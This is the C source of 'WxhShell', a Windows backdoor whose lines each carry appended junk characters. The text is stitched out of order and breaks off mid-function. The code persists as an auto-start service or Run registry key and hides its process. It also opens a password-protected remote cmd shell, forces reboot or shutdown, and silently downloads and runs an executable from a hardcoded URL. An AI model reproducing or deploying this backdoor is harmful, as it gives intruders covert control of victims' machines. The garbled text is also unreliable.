    closesocket(wsh); w<B S  
    ExitThread(0); 'aEK{#en  
    } TIJH} Ri  
    break; $}(Z]z}O;  
    } :Hq%y/  
  // 关机 ^P9mJ:  
  case 'd': { }p?,J8=-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l?)>"^  
    if(Boot(SHUTDOWN)) Wq3PN^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eI ( S)q  
    else { 2-'_Nwkl*  
    closesocket(wsh); >IS4  
    ExitThread(0); _-vlN  
    } ;:=j{,&dl[  
    break; _AF$E"f@  
    } a>vxox) %  
  // 获取shell 2e\"?yOD  
  case 's': { Yuv=<V  
    CmdShell(wsh); &n | <NF  
    closesocket(wsh); |y7TYjg6  
    ExitThread(0); M<Bo<,!ua  
    break; n*9QSyJN]  
  } S!A:/(^WB  
  // 退出 fL| 9/sojz  
  case 'x': { Ct `)R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zmQQ/ 7K  
    CloseIt(wsh); 8(n>99 VVK  
    break; 'ij+MU 1  
    } ,IhQ%)l  
  // 离开 cy@oAoBq  
  case 'q': { )$p36dWl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3_@I E2dA  
    closesocket(wsh); >q;| dn9  
    WSACleanup(); uB+#<F/c  
    exit(1); GOxP{d?  
    break; B4un6-<i  
        } 2`Bb9&ut>  
  } Q.$/I+&j  
  } P>q~ocq<  
U>kaQ54/  
  // 提示信息 (A2ga):Pk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jk`U7 G*  
} jy~hLEt7  
  } NCg("n,jx  
2XyyU}.$  
  return; Bj{J&{  
} z>+CMH5L)  
F lVG,Z  
// shell模块句柄 M5*Ln-qt(a  
int CmdShell(SOCKET sock) lFuW8G,-f@  
{ k @fxs]Y_L  
STARTUPINFO si; i+S%e,U*  
ZeroMemory(&si,sizeof(si)); ?6*\  M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `%|3c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1?)h-aN  
PROCESS_INFORMATION ProcessInfo; %ly&~&0  
char cmdline[]="cmd"; bo/U5p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R}(Rv3>Xx  
  return 0; Ox ,Rk  
} [.l,#-vp  
Y|mtQ E?c  
// 自身启动模式 0;a10b  
int StartFromService(void) !JdZ0l  
{ 0Bgj.?l  
typedef struct a:P+HU:  
{ %d:cC:`  
  DWORD ExitStatus; x%)oL:ue  
  DWORD PebBaseAddress; UK'8cz9  
  DWORD AffinityMask; (Qw>P42J  
  DWORD BasePriority; ,I|^d.[2  
  ULONG UniqueProcessId; jKcl{',  
  ULONG InheritedFromUniqueProcessId; w:I!{iX  
}   PROCESS_BASIC_INFORMATION; _$A?  
iPCn-DoIS  
PROCNTQSIP NtQueryInformationProcess; 'xuxMav6m  
w?_'sP{pd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fvta<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }x6)}sz7  
= <A0;  
  HANDLE             hProcess; ~Q^.7.-T  
  PROCESS_BASIC_INFORMATION pbi; hH$9GL{H  
>8>s K(S]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L   
  if(NULL == hInst ) return 0; 0f_`;{  
Q-iBK*-w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I<W<;A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kN*I_#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?w'03lr%  
P7X3>5<;q  
  if (!NtQueryInformationProcess) return 0; Z9MU%*N  
Le-t<6i-V#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /V/ )A\g  
  if(!hProcess) return 0; eF0FQlMe[  
U |eh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AH#a+<;a  
v! DU ewz  
  CloseHandle(hProcess); y]!#$C /  
Lf.Ia *R:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {qSMJja!t  
if(hProcess==NULL) return 0; s{c|J#s  
$? Z}hU  
HMODULE hMod; .LM|@OeaD!  
char procName[255]; _`*G71PS  
unsigned long cbNeeded; //3fgoly  
`"V}Wq ?I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "Qc4v@~)  
N3Q .4? z9  
  CloseHandle(hProcess); Z>/ *q2  
YHgNL LZ?  
if(strstr(procName,"services")) return 1; // 以服务启动 o*~=NoR  
O<AGAD  
  return 0; // 注册表启动 <v\$r2C*  
} r_8;aPL  
FBrh!vQ<  
// 主模块 3k8nWT:wT  
int StartWxhshell(LPSTR lpCmdLine) < h|&7  
{ %"#ydOy  
  SOCKET wsl; Y#P!<Q>}  
BOOL val=TRUE; P=P']\`p+  
  int port=0; =~,2E;#X  
  struct sockaddr_in door; ES(qu]CjI  
pL*aU=FjQ  
  if(wscfg.ws_autoins) Install(); Wj)v,v2&  
RP 6<#tq,  
port=atoi(lpCmdLine); 19[.&-u"  
JS?%zj&@  
if(port<=0) port=wscfg.ws_port; C!1)3w|  
5|}u25J  
  WSADATA data; WK0IagYw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F *U.cJ%  
=pj3G?F#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lN"@5(5%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }0/l48G  
  door.sin_family = AF_INET; 2H] 7=j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); osO\ib_%  
  door.sin_port = htons(port); iTT7<x  
ym` 4v5w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M4 }))  
closesocket(wsl); 4UPxV"H  
return 1; RA){\~@wC  
} 6#:V3 ;  
<jaQ 0S{|  
  if(listen(wsl,2) == INVALID_SOCKET) { Vvv;m5.  
closesocket(wsl); Ofb&W AD  
return 1; ,t*H: *  
} 9B>P Qbs  
  Wxhshell(wsl); }Q^*Zq9-  
  WSACleanup(); "2tKh!?Q  
pI_:3D xe  
return 0; )RWY("SUy1  
?oV|.LM:W  
} &tiJ=;R1  
Y!y pG-  
// 以NT服务方式启动 2PNe~9)*#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {g4w[F!77  
{ ZBQ@S  
DWORD   status = 0; 1bDXv, nD  
  DWORD   specificError = 0xfffffff; >C5u>@%9O  
(BK_A {5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .WBp!*4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v@fy*T\3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cQ`0d3  
  serviceStatus.dwWin32ExitCode     = 0; s? Gv/&  
  serviceStatus.dwServiceSpecificExitCode = 0; n0V^/j}  
  serviceStatus.dwCheckPoint       = 0; Uu Zjf9}  
  serviceStatus.dwWaitHint       = 0; tu ;Pm4q7  
B <G,{k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \nTV;@F  
  if (hServiceStatusHandle==0) return; YKOj  
SUvrOl   
status = GetLastError(); yKz%-6cpSl  
  if (status!=NO_ERROR) YPKB4p#  
{ <1QXZfQ"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]{t!J^Xn  
    serviceStatus.dwCheckPoint       = 0; G2sj<F=AV  
    serviceStatus.dwWaitHint       = 0; mM{cH=  
    serviceStatus.dwWin32ExitCode     = status; S C}@eA'  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q^xk]~G$(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Q6o#oZ  
    return; v@J[qpX  
  } ?jvuTS2  
ZhC ,nbM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oDt{;S8|]  
  serviceStatus.dwCheckPoint       = 0; rz%^l1@-  
  serviceStatus.dwWaitHint       = 0;  BJg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8WKY 4nkj  
} ^HE@ [b  
Z@>kqJ%  
// 处理NT服务事件,比如:启动、停止 wL>;_KdU`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <q I!Dj{  
{ b9v<Jk  
switch(fdwControl) x2OAkkH\]i  
{ 0fqycGSmU  
case SERVICE_CONTROL_STOP: 'C>sYSL  
  serviceStatus.dwWin32ExitCode = 0; V&Rwj_Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `z7,HJ.0c  
  serviceStatus.dwCheckPoint   = 0; _~F 0i?  
  serviceStatus.dwWaitHint     = 0; =)w#?DGpj  
  { wAL}c(EHO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a#9pN?~  
  } p|BoEITL  
  return; %E [HMq<H  
case SERVICE_CONTROL_PAUSE: U: )Gc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k7cY^&o  
  break; ^oW{N  
case SERVICE_CONTROL_CONTINUE: V"}Jsr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BP\6N%HC%&  
  break; _w'_l>I  
case SERVICE_CONTROL_INTERROGATE: /fAAQ7  
  break; K(WKx7Kky^  
}; vF[ 4kDHk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hp2$[p6O  
} h b8L[ 4  
y3PrLBTz  
// 标准应用程序主函数 {9^p3Q+:P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,^DP  
{ B^d di  
A<(DYd1H  
// 获取操作系统版本 Ea-U+7JC  
OsIsNt=GetOsVer(); _,d<9 Y)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &rl;+QS  
roBb8M|q  
  // 从命令行安装 ~_g{P3  
  if(strpbrk(lpCmdLine,"iI")) Install(); @S>;t)\J  
Ap4.c8f?Q-  
  // 下载执行文件 #5{BxX&\  
if(wscfg.ws_downexe) { MpIiHKQ G9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P|C5k5  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1083p9Uh  
} ovDPnf(  
sc6NON#  
if(!OsIsNt) { %hdjQIH  
// 如果时win9x,隐藏进程并且设置为注册表启动 2Vw2r@S/  
HideProc(); 'G>9iw  
StartWxhshell(lpCmdLine); \wK4bvUrX  
} VYt<j<ba  
else m^,VEV>  
  if(StartFromService()) TZ!@IBu  
  // 以服务方式启动 S_ ;r!.  
  StartServiceCtrlDispatcher(DispatchTable); 8lA,3'z  
else W,_2JqQp  
  // 普通方式启动 <td]k%*+  
  StartWxhshell(lpCmdLine); {esb"beGLa  
xH}bX-m  
return 0; 25@@-2h @  
} -~X[j2  
6E9/ z  
aUA)p}/:  
tCar:p4$  
=========================================== #3'M>SaoH  
kQQDaZ 8  
*v?kp>O  
0'YJczDq:7  
!ab ef.%:  
ou<,c?nNM  
" >mG64N  
Zj1bG{G=i  
#include <stdio.h> 5Z6MQ`(k  
#include <string.h> YhqMTOw  
#include <windows.h> TU*EtE'g/  
#include <winsock2.h> bX` Gv+  
#include <winsvc.h> &|db}\jT  
#include <urlmon.h> 2% OAQ(  
()F {kM8  
#pragma comment (lib, "Ws2_32.lib") #N'9 w .  
#pragma comment (lib, "urlmon.lib") DH.UJ +  
W8;!rFW  
#define MAX_USER   100 // 最大客户端连接数 Re %dNxJ=  
#define BUF_SOCK   200 // sock buffer jIVDi~Ld  
#define KEY_BUFF   255 // 输入 buffer .`V$j.a  
 5sN6&'[  
#define REBOOT     0   // 重启 ?(z"U b]  
#define SHUTDOWN   1   // 关机 VxARJ*4=Y  
a60rJ#GD  
#define DEF_PORT   5000 // 监听端口 F[`dX  
E0 E K88  
#define REG_LEN     16   // 注册表键长度 ?:-:m'jdU  
#define SVC_LEN     80   // NT服务名长度 K}^# VlY9  
As`=K$^Il.  
// 从dll定义API CH;U_b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^w2 HF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  KLE)+|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \iP@|ay9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ym! e}`A\F  
Eh|,[ D!E  
// wxhshell配置信息 Xtz:^tg  
struct WSCFG { ~id:Rh>o  
  int ws_port;         // 监听端口 g.vE%zKL  
  char ws_passstr[REG_LEN]; // 口令 2CneRKQy  
  int ws_autoins;       // 安装标记, 1=yes 0=no i. (Af$  
  char ws_regname[REG_LEN]; // 注册表键名 VuH ->  
  char ws_svcname[REG_LEN]; // 服务名 <JU3sXl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "k{so',7z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5gqs"trF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y$]zba  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |D%mWQng  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K7K/P{@9[9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o[i N/  
8&| o  
}; Ke?,AWfG  
w^$C\bCbh  
// default Wxhshell configuration j%^4 1y  
struct WSCFG wscfg={DEF_PORT, 79exZ7|  
    "xuhuanlingzhe", ahy6a,)K~  
    1, 8T6NG!/  
    "Wxhshell", hh&$xlO)(v  
    "Wxhshell", o ]z#~^w  
            "WxhShell Service", 2zW IB[  
    "Wrsky Windows CmdShell Service", nPqpat`E  
    "Please Input Your Password: ", .9PT)^2  
  1, ) ba~7A  
  "http://www.wrsky.com/wxhshell.exe", lv'WRS'}  
  "Wxhshell.exe" '?L^Fa_H  
    }; Q{L:pce-  
l:uQ#Z)  
// 消息定义模块 V K 7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,w H~.LHi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F P|cA^$<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *4}NLUVX  
char *msg_ws_ext="\n\rExit."; Ve&_NVPrd  
char *msg_ws_end="\n\rQuit.";  k%i.B  
char *msg_ws_boot="\n\rReboot..."; a%`%("g!  
char *msg_ws_poff="\n\rShutdown..."; }$'_%,  
char *msg_ws_down="\n\rSave to "; E5M/XW\E6  
!]82$  
char *msg_ws_err="\n\rErr!"; C&MqH.K  
char *msg_ws_ok="\n\rOK!"; dS4zOz"  
)H{1 Xjh-  
char ExeFile[MAX_PATH]; tHZ"o!(S  
int nUser = 0; ^MF 2Q+  
HANDLE handles[MAX_USER]; L\:m)g,F.  
int OsIsNt; Ez5t)l-  
>(S)aug$1  
SERVICE_STATUS       serviceStatus; D5snaGss9a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; '5De1K.\`  
,6X;YY  
// 函数声明 h-?yed*?  
int Install(void); jqc}mI\#  
int Uninstall(void); _lwKa, }  
int DownloadFile(char *sURL, SOCKET wsh); 6&ut r!\7  
int Boot(int flag); e'G=.:  
void HideProc(void); Y$A2{RjRq  
int GetOsVer(void); ng!cK<p  
int Wxhshell(SOCKET wsl); ]0ErT9  
void TalkWithClient(void *cs); -ZZJk-::  
int CmdShell(SOCKET sock); ?{J1Uw<  
int StartFromService(void); 3zD#V3 =  
int StartWxhshell(LPSTR lpCmdLine); GyN|beou  
c]aU}[s1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t~/:St  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9$ ;5J  
-oyA5Y x0  
// 数据结构和表定义 rSJ!vQo Cb  
SERVICE_TABLE_ENTRY DispatchTable[] = &l1t5 !  
{ fI<LxU_n:  
{wscfg.ws_svcname, NTServiceMain}, O8A1200  
{NULL, NULL} f(D'qV T{  
}; $) "\N  
RBn/7  
// 自我安装 h]ae^M  
int Install(void) 0lg'QG>  
{ (4/"uj5  
  char svExeFile[MAX_PATH]; `y.4FA4"8  
  HKEY key; *u"%hXR  
  strcpy(svExeFile,ExeFile); 8:V,>PH  
_uMG?Sbx  
// 如果是win9x系统,修改注册表设为自启动 m[v0mXE  
if(!OsIsNt) { klT?h[I!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `D~oY=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l_Lz9k  
  RegCloseKey(key); *af\U3kx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G&{yM2:E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p7;K] AW  
  RegCloseKey(key); @gK`RmhGE5  
  return 0; D!,5j_,j%  
    } K}re{y  
  } mnK<5KLg1  
} JR.)CzC  
else { -(:T&rfTp  
z@~H{glo  
// 如果是NT以上系统,安装为系统服务 A&t8C8,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `+n#CWZ"Y  
if (schSCManager!=0) Yu_*P-Ja6  
{ J4::.r  
  SC_HANDLE schService = CreateService \#:  W  
  ( *eIX"&ba  
  schSCManager, 8p%0d`sX  
  wscfg.ws_svcname, SQ4^sk_!  
  wscfg.ws_svcdisp, z:f&k}(  
  SERVICE_ALL_ACCESS,  g]?pY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zl :by?  
  SERVICE_AUTO_START, `J,>#Y6(J  
  SERVICE_ERROR_NORMAL, >:6iFPP  
  svExeFile, M> WWP3  
  NULL, ) Y)_T&O  
  NULL, Eb4NPWo  
  NULL, ";rXCH.  
  NULL, ) Su>8f[?e  
  NULL 94#,dA,M  
  ); ~F'6k&A^q  
  if (schService!=0) m_/U  t  
  { x;u#ec4  
  CloseServiceHandle(schService); r4SwvxhG  
  CloseServiceHandle(schSCManager); N)g_LL>^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $J4\jIipL  
  strcat(svExeFile,wscfg.ws_svcname); ~ O\A 0e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z Fm`e:td  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uE')<fVX(  
  RegCloseKey(key); k37?NoT  
  return 0; HAK,z0/  
    } ^t4^gcoZ4Z  
  } ';FJs&=I  
  CloseServiceHandle(schSCManager); wz`% ( \  
} piM4grg \  
} V*\hGNV  
S}JOS}\^j  
return 1; 1cOR?=G~  
} Pq [_(Nt  
DfAF-Yhut  
// 自我卸载 2.%)OC!q&5  
int Uninstall(void) tJ;qZyy(  
{ zni9  
  HKEY key; q1:dcxR[  
K^fs #7  
if(!OsIsNt) { hO8xH +;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _S ng55s  
  RegDeleteValue(key,wscfg.ws_regname); MN2i0!+  
  RegCloseKey(key); /io06)-/n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  N~$>| gn  
  RegDeleteValue(key,wscfg.ws_regname); 5HOl~E  
  RegCloseKey(key); J"AR3b@,$?  
  return 0; c<|y/n  
  } c rb^TuN  
} s oY\6mHio  
} b&[".ibN1  
else { CHKhJ v3+4  
?m*e$!M0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &B(z**+9  
if (schSCManager!=0) :38{YCN  
{ d|RUxNjM-J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *xNc^ &.  
  if (schService!=0) wx3_?8z/O  
  { <K^a2 D  
  if(DeleteService(schService)!=0) { 3Sfd|0^  
  CloseServiceHandle(schService); k^%=\c  
  CloseServiceHandle(schSCManager); LhLAQ2~  
  return 0; ; H ;h[  
  } /lC# !$9vz  
  CloseServiceHandle(schService); _rYW|*cIF  
  } h-ii-c?R@0  
  CloseServiceHandle(schSCManager); r!Dk_| Cd  
} Hdew5Xn(:  
} -yqgs>R(d  
A3/[9}(U  
return 1; gDU!dT  
} *`+zf7-f  
EX_j|/&tZ  
// 从指定url下载文件 LMoZI0)x  
int DownloadFile(char *sURL, SOCKET wsh) zr?s5RS  
{ rlKR <4H  
  HRESULT hr; Y ]()v  
char seps[]= "/"; [M[#f&=Z  
char *token; 5T#v &  
char *file; 9DA |;|  
char myURL[MAX_PATH]; P'8RaO&d  
char myFILE[MAX_PATH]; A^z{n/DiL  
iUcX\ uW  
strcpy(myURL,sURL); ~4~r  
  token=strtok(myURL,seps); 0`S{>G  
  while(token!=NULL) *MmH{!=  
  { =OO4C  
    file=token; }lp37,  
  token=strtok(NULL,seps); Uwkxc  
  } Ds(Z.  
/.e7#-+?  
GetCurrentDirectory(MAX_PATH,myFILE); [+D]!&P  
strcat(myFILE, "\\"); "YI,  
strcat(myFILE, file); >rQj1D)@  
  send(wsh,myFILE,strlen(myFILE),0); D{JjSky  
send(wsh,"...",3,0); l-%] f]>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r gIWM"  
  if(hr==S_OK) tNFw1&  
return 0; 8B*(P>  
else _$AM=?P &  
return 1; q{&c?l*2  
A*DN/lG  
} D-{*3?x  
gPCf+>X{  
// 系统电源模块 aC}\`.Kb  
int Boot(int flag) Cl&mz1Y;]1  
{ 4E.9CjN1>  
  HANDLE hToken; ^(:~8 h  
  TOKEN_PRIVILEGES tkp; E:8*o7  
'EIe5O p  
  if(OsIsNt) { ra'/~^9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /HRKw D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >ZkL`!:s  
    tkp.PrivilegeCount = 1; Ni>Ns=n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 60%nQhb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n8Qv8  
if(flag==REBOOT) { $3"hOEN@5`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o_Zs0/  
  return 0; "B: FSWM_-  
}  E& cC2(w  
else { #@DJf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "yQBHYP  
  return 0; [mv? \HDa~  
} 9 3)fC  
  } ^Saf z8-3o  
  else { 2*75*EQCH  
if(flag==REBOOT) { *>W<n1r@]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7T[$BrO\  
  return 0; nPvys~D  
} fd *XK/h  
else { R-m5(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %/I:r7UR{  
  return 0; By@65KmR"  
} Yd4X*Ua  
} =7}1NeC`  
iHNQxLkk{:  
return 1; \ Ki3ls  
} Ac U@H0  
AwG0E `SU  
// win9x进程隐藏模块 )dfhy  
void HideProc(void) *l`yxz@U  
{ S~:uOm2t\  
lUjZ=3"'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _<f%== I'  
  if ( hKernel != NULL ) [4#HuO@h  
  { QP\:wi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #$W5)6ch  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1"CWEL`i  
    FreeLibrary(hKernel); ?rOj?J9  
  } `WH$rx!  
2+y wy^  
return; i ed 1+H  
} >g !Z|ju  
H_f8/H  
// 获取操作系统版本 ?S& yF  
int GetOsVer(void) z&H.fsL  
{ By6O@ .\V  
  OSVERSIONINFO winfo; 1P"7.{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j>8ubA  
  GetVersionEx(&winfo); 2 )o2d^^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ut2T:%m{  
  return 1; qZ!kVrmg&  
  else ykbfK$j z  
  return 0; T&[6  
} Y}BP ]#1  
xKE=$SV(  
// 客户端句柄模块 TXM/+sd  
int Wxhshell(SOCKET wsl) H^kOwmSzh  
{ O$,  
  SOCKET wsh; hkl0N%[  
  struct sockaddr_in client; rrfJs  
  DWORD myID; TY% c`Q5  
g8E5"jpXx3  
  while(nUser<MAX_USER) a^LckHPI>  
{ ZB1%Kn#zo4  
  int nSize=sizeof(client); %'WC7s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qery|0W  
  if(wsh==INVALID_SOCKET) return 1; (pCHj'  
pmBN?<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w!<e#Z]3b  
if(handles[nUser]==0) !x-__[#  
  closesocket(wsh); 873 bg|^hs  
else OP+*%$wR  
  nUser++; %|x9C,0p#  
  } u\ 7Y_`8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JJ1>)S}X-  
(L4llZ;q  
  return 0; Vp; `!+z"  
} ;5;>f)diS  
1.@{5f3T  
// 关闭 socket `Eg X#  
void CloseIt(SOCKET wsh) ??e|ec2%  
{ (&79}IEd  
closesocket(wsh); .*6NqX$  
nUser--; Dn<3#V  
ExitThread(0); )6%*=-  
} e=h-}XRC  
5D<Zbn.>q  
// 客户端请求句柄 LodP,\T  
void TalkWithClient(void *cs) e%pohHI  
{ HdlO Ga6C  
G0h&0e{w  
  SOCKET wsh=(SOCKET)cs; hwUb(pZ  
  char pwd[SVC_LEN]; ,k_ b-/  
  char cmd[KEY_BUFF]; <= _!8A  
char chr[1]; e}5x6t  
int i,j; ~*3Si(4l/  
~Qif-|[V  
  while (nUser < MAX_USER) { qPz_PRje  
VXZYRr3F  
if(wscfg.ws_passstr) { bx2<WdLyT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bn|HvLQ"1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ncadVheKt  
  //ZeroMemory(pwd,KEY_BUFF); 6?5dGYAX<  
      i=0; 6H2Bf*i  
  while(i<SVC_LEN) { -}4CY\d6'  
lFf>z}eLy  
  // 设置超时 }U=}5`_]D  
  fd_set FdRead; D"$ 97  
  struct timeval TimeOut; " ]k}V2l  
  FD_ZERO(&FdRead); ';\norx;  
  FD_SET(wsh,&FdRead); shdzkET8N  
  TimeOut.tv_sec=8; WYRC_U7  
  TimeOut.tv_usec=0; QsKnaRT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {~]5QKg.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l #C<bDw  
1F>8#+B/W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wKdWE`|y  
  pwd=chr[0]; 6K7lQ!#}Q  
  if(chr[0]==0xd || chr[0]==0xa) { h3E}Sa(MQ:  
  pwd=0; ;=@O.iF;H  
  break;  7Oe$Ou  
  } +MHIZI  
  i++; Ar~<l2,{r  
    } d]K8*a%[-  
,Gbc4x  
  // 如果是非法用户,关闭 socket Ha]vG@?+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 416}# Mk  
} #k/T\PQ0s  
}LS.bQKqi,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?`Mk$Y%my  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nF]E":  
%OHWGac"i  
while(1) { GMZ6 dK  
"x]7 et,  
  ZeroMemory(cmd,KEY_BUFF); 2N |iOog  
,>qtnwvlHP  
      // 自动支持客户端 telnet标准   L Y4bn)Qf  
  j=0; $s ,g&7*-  
  while(j<KEY_BUFF) { e]>=;Zn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ui"$A/  
  cmd[j]=chr[0]; _I EbRVpb  
  if(chr[0]==0xa || chr[0]==0xd) { ~x4]p|)</  
  cmd[j]=0; ^^ SMr l  
  break; [oBRH]9cq  
  } Ivcy=W=Jk  
  j++; hN0h'JJ[7  
    } T ;84Sv  
" +{2!  
  // 下载文件 <2 kv/  
  if(strstr(cmd,"http://")) { O5:U2o-  
